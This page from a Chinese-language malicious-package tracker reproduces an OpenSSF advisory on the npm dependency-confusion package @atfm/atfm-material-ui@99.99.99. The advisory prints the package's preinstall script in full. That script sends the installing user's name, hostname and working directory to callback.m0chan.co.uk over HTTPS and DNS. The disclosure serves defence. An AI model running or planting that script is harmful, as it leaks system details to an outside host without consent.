目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

@atfm/atfm-material-ui

MAL-2026-18601
2026-11-03 16:33:59
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in @atfm/atfm-material-ui (npm)

安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
—
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npm@atfm/atfm-material-ui99.99.99
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-11-03T16:33:59Z","published":"2026-10-30T16:30:00Z","schema_version":"1.7.4","id":"MAL-2026-18601","summary":"Malicious code in @atfm/atfm-material-ui (npm)","details":"@atfm/atfm-material-ui@99.99.99 is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:\n\n```\nb64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk\n```\n\nThe same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm.","affected":[{"package":{"ecosystem":"npm","name":"@atfm/atfm-material-ui"},"versions":["99.99.99"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"credits":[{"name":"Chainguard","type":"FINDER","contact":["https://www.chainguard.dev","mailto:security@chainguard.dev"]}],"database_specific":{"iocs":{"domains":["callback.m0chan.co.uk"],"files":[{"digests":{"sha256":"b8ee6707bf103c15288e80230a6f1de77d1989df17ac555243184b4f12b23e57"},"note":"Declares the preinstall script that sends user, host and path information to callback.m0chan.co.uk.","paths":["package.json"],"source":"PACKAGE_ARCHIVE"}]}}}

数据来源:OpenSSF Malicious Packages · Apache-2.0